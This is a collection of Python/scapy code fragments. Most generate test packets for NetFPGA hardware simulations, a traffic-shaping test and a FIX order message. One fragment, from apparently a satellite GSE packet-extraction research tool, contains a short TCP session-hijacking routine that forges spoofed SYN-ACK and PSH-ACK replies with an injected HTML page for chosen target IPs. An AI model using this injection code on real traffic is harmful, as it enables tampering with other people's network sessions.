def start(self, args: dict) -> None: pkt = Ether(dst=DEST_MAC) / IP() / TCP() / ("*" * 1500) # Create a traffic stream stream = STLStream(packet=STLPktBuilder(pkt=pkt, vm=[]), mode=STLTXCont()) self.client.add_streams(stream, ports=[0]) logging.info( "Starting traffic, duration: %d sec", args.duration, ) # Start sending traffic self.client.start(SENDER_PORT, mult="100%", duration=args.duration) logging.info("Waiting until all traffic stop") self.client.wait_on_traffic(ports=SENDER_PORT) # Get statistics for TX and RX ports stats = self.client.get_stats() rx_rate_mbps = stats[1]["rx_bps"] / (10**6) assert (SHAPING_RATE_MBPS * 0.95 < rx_rate_mbps < SHAPING_RATE_MBPS ), "The measured RX rate is not close to the port shaping rate" readable_stats_0 = get_readable_port_stats(stats[0]) readable_stats_1 = get_readable_port_stats(stats[1]) print("\n Statistics for TX port: \n") print(readable_stats_0) print("\n Statistics for RX port: \n") print(readable_stats_1)
def get_sample_packet(self, pkt_type): if pkt_type == "tcp": return Ether() / IP(src=SOURCE_IP, dst=DEST_IP) / TCP() / ("*" * 1500) elif pkt_type == "gtpu-udp": return (Ether() / IP(src=SOURCE_IP, dst=DEST_IP) / UDP() / GTPU() / IP() / UDP() / ("*" * 1500)) else: return Ether() / IP(src=SOURCE_IP, dst=DEST_IP) / UDP() / ("*" * 1500)
# Add path *relative to this script's location* of axitools module sys.path.append( os.path.join( script_dir, '..','..','..','tools','scripts' ) ) # NB: axitools import must preceed any scapy imports import axitools from scapy.layers.all import Ether, IP, TCP key = 0x01234567 pkts=[] encrypt_pkts=[] # A simple TCP/IP packet embedded in an Ethernet II frame for i in range(8): pkt = (Ether(src='11:22:33:44:55:66', dst='77:88:99:aa:bb:cc')/ IP(src='192.168.1.1', dst='192.168.1.2')/ TCP()/ 'Hello, NetFPGA-10G!') pkt.time = i*(1e-8) # Set source network interface for DMA stream pkt.tuser_sport = 1 << (i%4*2 + 1) # PCI ports are odd-numbered pkts.append(pkt) encrypt_pkts.append(encrypt_pkt(key, pkt)) # PCI interface with open( os.path.join( script_dir, 'dma_0_stim.axi' ), 'w' ) as f: axitools.axis_dump( pkts, f, 256, 1e-9 ) with open( os.path.join( script_dir, 'dma_0_expected.axi' ), 'w' ) as f: axitools.axis_dump( encrypt_pkts*4, f, 256, 1e-9 ) # 10g interfaces for i in range(4): # replace source port
# import sys sys.path.append('../../../../../../tools/scripts') # NB: axitools import must preceed any scapy imports import axitools from scapy.layers.all import Ether, IP, TCP pkts = [] f0 = open("stream_data_in_0.axi", "w") f1 = open("stream_data_in_1.axi", "w") f2 = open("stream_data_in_2.axi", "w") f3 = open("stream_data_in_3.axi", "w") f4 = open("stream_data_in_4.axi", "w") # A simple TCP/IP packet embedded in an Ethernet II frame for i in range(0, 10): pkt = (Ether(src='f0:0d:f0:0d:f0:0d', dst='ba:be:ba:be:ba:be') / IP(src='204.204.204.204', dst='221.221.221.221') / TCP(sport=51996, dport=80) / "GET /newyorker.com.abdcldkj") pkt.time = i * (1e-8) pkts.append(pkt) # Write out to console axitools.axis_dump(pkts, f0, 64, 1e-9) axitools.axis_dump(pkts, f1, 64, 1e-9) axitools.axis_dump(pkts, f2, 64, 1e-9) axitools.axis_dump(pkts, f3, 64, 1e-9) axitools.axis_dump(pkts, f4, 64, 1e-9)
import sys sys.path.append('../../../../../../tools/scripts') # NB: axitools import must preceed any scapy imports import axitools from scapy.layers.all import Ether, IP, TCP pkts = [] f0 = open("stream_data_in_0.axi", "w") f1 = open("stream_data_in_1.axi", "w") f2 = open("stream_data_in_2.axi", "w") f3 = open("stream_data_in_3.axi", "w") f4 = open("stream_data_in_4.axi", "w") # A simple TCP/IP packet embedded in an Ethernet II frame for i in range(0, 10): pkt = (Ether(src='f0:0d:f0:0d:f0:0d', dst='ba:be:ba:be:ba:be') / IP(src='204.204.204.204', dst='221.221.221.221') / TCP(sport=51996, dport=51996) / "Hello, NetFPGA-10G!") pkt.time = i * (1e-8) pkts.append(pkt) # Write out to console axitools.axis_dump(pkts, f0, 64, 1e-9) axitools.axis_dump(pkts, f1, 64, 1e-9) axitools.axis_dump(pkts, f2, 64, 1e-9) axitools.axis_dump(pkts, f3, 64, 1e-9) axitools.axis_dump(pkts, f4, 64, 1e-9)
import sys sys.path.append('../../../../../../tools/scripts') # NB: axitools import must preceed any scapy imports import axitools from scapy.layers.all import Ether, IP, TCP pkts = [] f0 = open("stream_data_in_0.axi", "w") f1 = open("stream_data_in_1.axi", "w") f2 = open("stream_data_in_2.axi", "w") f3 = open("stream_data_in_3.axi", "w") f4 = open("stream_data_in_4.axi", "w") # A simple TCP/IP packet embedded in an Ethernet II frame for i in range(0, 10): pkt = (Ether(src='f0:0d:f0:0d:f0:0d', dst='ba:be:ba:be:ba:be') / IP(src='204.204.204.204', dst='221.221.221.221') / TCP(sport=51996, dport=80) / "GET /Hello, NetFPGA-10G! HHHHHH") pkt.time = i * (1e-8) pkts.append(pkt) # Write out to console axitools.axis_dump(pkts, f0, 64, 1e-9) axitools.axis_dump(pkts, f1, 64, 1e-9) axitools.axis_dump(pkts, f2, 64, 1e-9) axitools.axis_dump(pkts, f3, 64, 1e-9) axitools.axis_dump(pkts, f4, 64, 1e-9)
pkt_length = '16' payload_data = '' if (args.packet_no): no_pkts = args.packet_no else: no_pkts = '2' for i in range(int(pkt_length)): payload_data = payload_data + 'A' for i in range(int(no_pkts)*4): pkt = (Ether(src='11:22:33:44:55:66', dst='77:88:99:aa:bb:cc')/ IP(src='192.168.1.1', dst='192.168.1.2')/ TCP()/payload_data) pkt.time = (i*(1e-8)) pkts.append(pkt) nf_pkts=[] if (args.packet_no): nf_pkts = pkts[0:int(no_pkts)] else: nf_pkts = pkts for i in range(4): nftest_send_phy('nf%d' %i, nf_pkts) # --rx nftest_send_dma('nf%d'%i, pkts) # --tx nftest_expect_phy('nf%d' %i, pkts) # --tx nftest_expect_dma('nf0', pkts*4) # --rx
nftest_expect_dma('nf' + str(port), pkt) print "" nftest_finish() else: no_pkts = 8 pkts = [] # A simple TCP/IP packet embedded in an Ethernet II frame for i in range(no_pkts): g = 1002 # max payload length payload = '' for x in range(g): payload = payload + 'A' pkt = (Ether(src='aa:bb:cc:dd:ee:ff', dst='77:88:99:aa:bb:cc') / IP(src='192.168.0.1', dst='192.168.1.1') / TCP() / payload) pkt.time = i * (1e-8) # Set source network interface for DMA stream pkt.tuser_sport = 1 << (i % 4 * 2 + 1) # PCI ports are odd-numbered pkts.append(pkt) # PCI interface with open(os.path.join(script_dir, 'dma_0_stim.axi'), 'w') as f: axitools.axis_dump(pkts, f, 256, 1e-9) with open(os.path.join(script_dir, 'dma_0_expected.axi'), 'w') as f: axitools.axis_dump(pkts * 4, f, 256, 1e-9) # 10g interfaces for i in range(4): # replace source port for pkt in pkts:
if (args.dport_no): ip_dport_no = int(args.dport_no) else: ip_dport_no = 15 #Payload appended to packet header payload_data = '' for i in range(int(pkt_length)): payload_data = payload_data + 'A' # Payload contents are not important. pkts_tcp = [] #A simple TCP/IP packet embedded in an Ethernet II frame for i in range(int(no_pkt)): pkt = (Ether(src=src_mac_addr, dst=dst_mac_addr) / IP(src=src_ip_addr, dst=dst_ip_addr) / TCP(sport=ip_sport_no, dport=ip_dport_no) / payload_data) pkts_tcp.append(pkt) pkts_udp = [] #A simple UDP/IP packet embedded in an Ethernet frame for i in range(int(no_pkt)): pkt = (Ether(src=src_mac_addr, dst=dst_mac_addr) / IP(src=src_ip_addr, dst=dst_ip_addr) / UDP(sport=ip_sport_no, dport=ip_dport_no) / payload_data) pkt.time = pkt_timestamp pkts_udp.append(pkt) if (args.packet_type == 'tcp' or args.packet_type == 'TCP'): pkts = pkts_tcp else: pkts = pkts_udp
payload_data = '' if (args.packet_no): no_pkts = args.packet_no else: no_pkts = '2' for i in range(int(pkt_length)): payload_data = payload_data + 'A' pkts = [] # A simple TCP/IP packet embedded in an Ethernet II frame for i in range(int(no_pkts) * 4): pkt = (Ether(src='11:22:33:44:55:66', dst='77:88:99:aa:bb:cc') / IP(src='192.168.1.1', dst='192.168.1.2') / TCP() / payload_data) pkt.time = i * (1e-8) # Set source network interface for DMA stream pkt.tuser_sport = 1 << (i % 4 * 2 + 1) # PCI ports are odd-numbered pkts.append(pkt) # PCI interface with open(os.path.join(script_dir, 'dma_0_stim.axi'), 'w') as f: axitools.axis_dump(pkts, f, 256, 1e-9) with open(os.path.join(script_dir, 'dma_0_expected.axi'), 'w') as f: axitools.axis_dump(pkts * 4, f, 256, 1e-9) nf_pkts = [] if (args.packet_no): nf_pkts = pkts[0:int(no_pkts)] else:
for port in range(4): DA = "00:ca:fe:00:00:%02x" % port pkt = make_IP_pkt(dst_MAC=DA, src_MAC=SA, dst_IP=DST_IP, src_IP=SRC_IP, TTL=TTL, pkt_len=60) totalPktLengths[port] += len(pkt) nftest_send_dma('nf' + str(port), pkt) nftest_expect_dma('nf' + str(port), pkt) else: #DA = "00:ca:fe:00:00:00" #pkt = make_IP_pkt(dst_MAC=DA, src_MAC=SA, dst_IP=DST_IP, # src_IP=SRC_IP, TTL=TTL, # pkt_len=80,) pkt = (Ether(src='f0:0d:f0:0d:f0:0d', dst='ba:be:ba:be:ba:be') / IP(src='255.255.255.255', dst='5.6.7.8') / TCP(sport=51996, dport=51996) / ("TOI DI CHOI GAME FIFA")) pkt.time = (i * (1e-8)) pkts.append(pkt) if not isHW(): nftest_send_phy('nf0', pkts) nftest_expect_dma('nf0', pkts) print "" mres = [] nftest_finish(mres)
def extract_ip_from_gse_data(raw_data, high_reliability=True, tcp_hijack=False, tcp_hijack_ips=[None, None]): ip_packet = None simple_packet = None try: ip_packet = Ipv4Packet.from_bytes(raw_data) except EOFError: # if there's just not enough bytes, we can try adding a small number of padding bytes to see if it makes for a mostly recovered packet # we'll try to recover up to 3x the length of the original packet try: raw_data = raw_data + (3 * len(raw_data)) * b"\x00" ip_packet = Ipv4Packet.from_bytes(raw_data) except: counters['non_ip_or_corrupt_gse'] += 1 except ValueError: # we can try and force a typical first two bytes of an IPV4 header to bully GSExtract into making a packet # this runs the risk of invalid IP headers but catches some packets when there are undocument proprietary GSE extensions if not high_reliability: try: raw_data = b"\x45" + raw_data + (3 * len(raw_data)) * b"\x00" ip_packet = Ipv4Packet.from_bytes(raw_data) except: try: raw_data = b"\x45\x00" + raw_data[1:] + ( 3 * len(raw_data)) * b"\x00" ip_packet = Ipv4Packet.from_bytes(raw_data) except: pass counters['non_ip_or_corrupt_gse'] += 1 except: pass if ip_packet is not None: seconds_time = time.time() dt = datetime.now() simple_packet = (int(seconds_time), dt.microsecond, len(raw_data), len(raw_data), raw_data) # This is a very simple example of TCP hijacking # You would need to pass both a target and destination IP address through to the parent function # This is not implemented in the command-line tool but the modifications should be straightforward if tcp_hijack and (ip_packet.src_ip_addr == tcp_hijack_ips[0] or ip_packet.dst_ip_addr == tcp_hijack_ips[0]) and ( ip_packet.src_ip_addr == tcp_hijack_ips[1] or ip_packet.dst_ip_addr == tcp_hijack_ips[1]): html = "<b>Hijacked TCP Session</b>" p = IP(raw_data) if "TCP" in p: F = p[TCP].flags forgery_ip = IP(src=p[IP].dst, dst=p[IP].src) response = "HTTP/1.1 200 OK\n" response += "Server: MyServer\n" response += "Content-Type: text/html\n" response += "Content-Length: " + str(len(html)) + "\n" response += "Connection: close" response += "\n\n" response += html if F & SYN and not F & ACK: forgery_tcp = TCP(sport=p[TCP].dport, dport=p[TCP].sport, seq=123, ack=p[TCP].seq + 1, flags="AS") forgery = Ether() / forgery_ip / forgery_tcp / response sendp(forgery) elif F & ACK and F & PSH: forgery_tcp = TCP(sport=p[TCP].dport, dport=p[TCP].sport, seq=p[TCP].ack + 1, ack=p[TCP].seq, flags="PA", options=p[TCP].options) forgery = Ether() / forgery_ip / forgery_tcp / response sendp(forgery) forgery.show() counters['ip_recovered'] += 1 return simple_packet
# pkt = make_IP_pkt(src_MAC="aa:bb:cc:dd:ee:ff", dst_MAC="00:ca:fe:00:00:01", # EtherType=0x800, src_IP="192.168.0.1", # dst_IP="192.168.1.1", pkt_len=60) nf0_mac = "12:22:33:44:55:66" nf1_mac = "22:22:33:44:55:66" in_mac = "b2:b2:c3:d4:e5:f6" out_mac = "a2:b2:c3:d4:e5:f6" in_ip = "192.168.1.1" out_ip = "10.0.0.4" nf0_ip = "10.0.0.1" # Syn packet from inside ################################# pkt = make_MAC_hdr(src_MAC=in_mac, dst_MAC=nf1_mac, EtherType=0x800)/\ make_IP_hdr(src_IP=in_ip, dst_IP=out_ip)/\ TCP(sport=0x3333,dport=0x0050,flags="S") pkt.time = ((1 * (1e-8)) + (1e-6)) sentPkts_nf1.append(pkt) ePkt = pkt.copy() ePkt[Ether].src = nf0_mac ePkt[Ether].dst = out_mac ePkt[IP].src = nf0_ip ePkt[TCP].sport = 1025 #ePkt = make_MAC_hdr(src_MAC=nf0_mac, dst_MAC=out_mac, # EtherType=0x800)/make_IP_hdr(src_IP=nf0_ip, # dst_IP=out_ip)/\ # TCP(sport=1025,dport=0x0050,flags="S") expectedPkts_nf0.append(ePkt) if isHW(): nftest_expect_phy('nf0', ePkt) nftest_send_phy('nf1', pkt)
else: pkt = (Ether(src='ff:22:33:44:55:66', dst='77:88:99:aa:bb:cc') / ARP(psrc=src_ip_addr, pdst=dst_ip_addr) / pad_18) pkt.time = i * (1e-8) pkt.tuser_sport = no_port pkts_arp.append(pkt) pkts_tcp = [] #A simple TCP/IP packet embedded in an Ethernet II frame for i in range(int(no_pkt)): if (args.align == '1'): if (args.vlan): pkt = (align_byte / Ether(src='ff:22:33:44:55:66', dst='77:88:99:aa:bb:cc') / Dot1Q(vlan=vlan_no) / IP(src=src_ip_addr, dst=dst_ip_addr) / TCP() / payload_data) pkt.time = i * (1e-8) pkt.tuser_sport = no_port pkts_tcp.append(pkt) else: pkt = (align_byte / Ether(src='ff:22:33:44:55:66', dst='77:88:99:aa:bb:cc') / IP(src=src_ip_addr, dst=dst_ip_addr) / TCP() / payload_data) pkt.time = i * (1e-8) pkt.tuser_sport = no_port pkts_tcp.append(pkt) else: if (args.vlan): pkt = (Ether(src='ff:22:33:44:55:66', dst='77:88:99:aa:bb:cc') / Dot1Q(vlan=vlan_no) / IP(src=src_ip_addr, dst=dst_ip_addr) / TCP() / payload_data)
script_dir = os.path.dirname(sys.argv[0]) # Add path *relative to this script's location* of axitools module sys.path.append( os.path.join(script_dir, '..', '..', '..', '..', 'tools', 'scripts')) # NB: axitools import must preceed any scapy imports import axitools from scapy.layers.all import Ether, IP, TCP NUM_PKTS = 8 pkts = [] # A simple TCP/IP packet embedded in an Ethernet II frame for i in range(NUM_PKTS): pkt = (Ether(src='11:22:33:44:55:66', dst='77:88:99:aa:bb:cc') / IP(src='192.168.1.1', dst='192.168.1.2') / TCP() / 'Hello, NetFPGA-10G!') pkt.time = i * (1e-8) # Set source network interface for DMA stream pkt.tuser_sport = 1 << (i % 4 * 2 + 1) # PCI ports are odd-numbered pkts.append(pkt) # PCI interface with open(os.path.join(script_dir, 'dma_0_stim.axi'), 'w') as f: axitools.axis_dump(pkts, f, 256, 1e-9) with open(os.path.join(script_dir, 'dma_0_expected.axi'), 'w') as f: axitools.axis_dump(pkts * 4, f, 256, 1e-9) # 10g interfaces for i in range(4): # replace source port for pkt in pkts:
bcd_fix_checksum = '' if fix_checksum_sum >= 100: bcd_fix_checksum = str_fix[0] + str_fix[1] + str_fix[2] elif fix_checksum_sum < 100 and fix_checksum_sum >= 10: bcd_fix_checksum = '0' + str_fix[0] + str_fix[1] elif fix_checksum_sum < 10: bcd_fix_checksum = '0' + '0' + str_fix[0] bcd_fix_checksum = '10=' + bcd_fix_checksum + '\x01' pkt = (Ether(src=src_mac_addr, dst=dst_mac_addr) / IP(src=src_ip_addr, dst=dst_ip_addr) / TCP(sport=ip_sport_no, dport=ip_dport_no, flags="PA", options=[('NOP', None), ('NOP', None), ('Timestamp', (34498433, 3150184448))]) / fix_header_data / fix_body_length_final / fix_Msg_Type / fix_seq_num / fix_sendCom_ID / fix_sending_time_data / fix_Target_ID / fix_ClOrd_ID / fix_order_ID / fix_account / fix_symbol / fix_Ord_Type / fix_order_Qty / fix_order_side / fix_order_price / fix_timeInForce / fix_transactTime / fix_TwseIvacnoFlag / fix_TwseOrdType / fix_TwseExCode / fix_TwseRejStaleOrd / bcd_fix_checksum) pkts_tcp.append(pkt) print i pkts_udp = [] #A simple UDP/IP packet embedded in an Ethernet frame
import sys script_dir = os.path.dirname(sys.argv[0]) # Add path *relative to this script's location* of axitools module sys.path.append(os.path.join(script_dir, '..', '..', '..', 'tools', 'scripts')) # NB: axitools import must preceed any scapy imports import axitools from scapy.layers.all import Ether, IP, TCP pkts = [] # A simple TCP/IP packet embedded in an Ethernet II frame for i in range(50): pkt = (Ether(src='11:22:33:44:55:66', dst='77:88:99:aa:bb:cc') / IP(src='192.168.1.1', dst='192.168.1.2') / TCP() / ('X' * 1460)) print len(pkt) pkt.time = 300 * (1e-6) # Set source network interface for DMA stream #pkt.tuser_sport = 1 << (i%4*2 + 1) # PCI ports are odd-numbered pkts.append(pkt) # PCI interface """ with open( os.path.join( script_dir, 'dma_0_stim.axi' ), 'w' ) as f: axitools.axis_dump( pkts, f, 256, 1e-9 ) with open( os.path.join( script_dir, 'dma_0_expected.axi' ), 'w' ) as f: axitools.axis_dump( pkts*4, f, 256, 1e-9 ) """ with open(os.path.join(script_dir, 'dma_0_stim.axi'), 'w') as f: axitools.axis_dump([], f, 256, 1e-9)